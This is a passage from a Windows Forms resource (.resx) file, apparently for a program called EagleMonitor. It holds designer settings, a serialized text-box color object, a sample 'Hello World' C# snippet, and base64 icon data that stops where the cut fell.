text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 True True True True 17, 17 True True True True True 211, 22 True True True True True 1005, 17 True True 1210, 19 True True True True 434, 15 631, 15 641, 58 647, 95 True True True True 813, 56 True True True True True True 814, 17 208, 56 17, 56 431, 58 True 17, 96 True True 201, 93 True 1205, 61 AAEAAAD/////AQAAAAAAAAAMAgAAAFdGYXN0Q29sb3JlZFRleHRCb3gsIFZlcnNpb249Mi4xNi4yNC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWZiOGFhMTJiOTk0ZWY2MWIMAwAAAFFTeXN0 ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu PWIwM2Y1ZjdmMTFkNTBhM2EFAQAAACJGYXN0Q29sb3JlZFRleHRCb3hOUy5TZXJ2aWNlQ29sb3JzBgAA ACg8Q29sbGFwc2VNYXJrZXJGb3JlQ29sb3I+a19fQmFja2luZ0ZpZWxkKDxDb2xsYXBzZU1hcmtlckJh Y2tDb2xvcj5rX19CYWNraW5nRmllbGQqPENvbGxhcHNlTWFya2VyQm9yZGVyQ29sb3I+a19fQmFja2lu Z0ZpZWxkJjxFeHBhbmRNYXJrZXJGb3JlQ29sb3I+a19fQmFja2luZ0ZpZWxkJjxFeHBhbmRNYXJrZXJC YWNrQ29sb3I+a19fQmFja2luZ0ZpZWxkKDxFeHBhbmRNYXJrZXJCb3JkZXJDb2xvcj5rX19CYWNraW5n RmllbGQEBAQEBAQUU3lzdGVtLkRyYXdpbmcuQ29sb3IDAAAAFFN5c3RlbS5EcmF3aW5nLkNvbG9yAwAA ABRTeXN0ZW0uRHJhd2luZy5Db2xvcgMAAAAUU3lzdGVtLkRyYXdpbmcuQ29sb3IDAAAAFFN5c3RlbS5E cmF3aW5nLkNvbG9yAwAAABRTeXN0ZW0uRHJhd2luZy5Db2xvcgMAAAACAAAABfz///8UU3lzdGVtLkRy YXdpbmcuQ29sb3IEAAAABG5hbWUFdmFsdWUKa25vd25Db2xvcgVzdGF0ZQEAAAAJBwcDAAAACgAAAAAA AAAAlgABAAH7/////P///woAAAAAAAAAAKQAAQAB+v////z///8KAAAAAAAAAACWAAEAAfn////8//// CgAAAAAAAAAAjQABAAH4/////P///woAAAAAAAAAAKQAAQAB9/////z///8KAAAAAAAAAACWAAEACw== using System; using System.Windows.Forms; namespace EagleMonitor { public class Program { public static void Main(string[] args) { MessageBox.Show("Hello World"); } } } True 1011, 58 True True True True True True True True True True True True True True True 430, 95 True 1260, 95 True 1063, 95 17, 134 846, 95 166 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 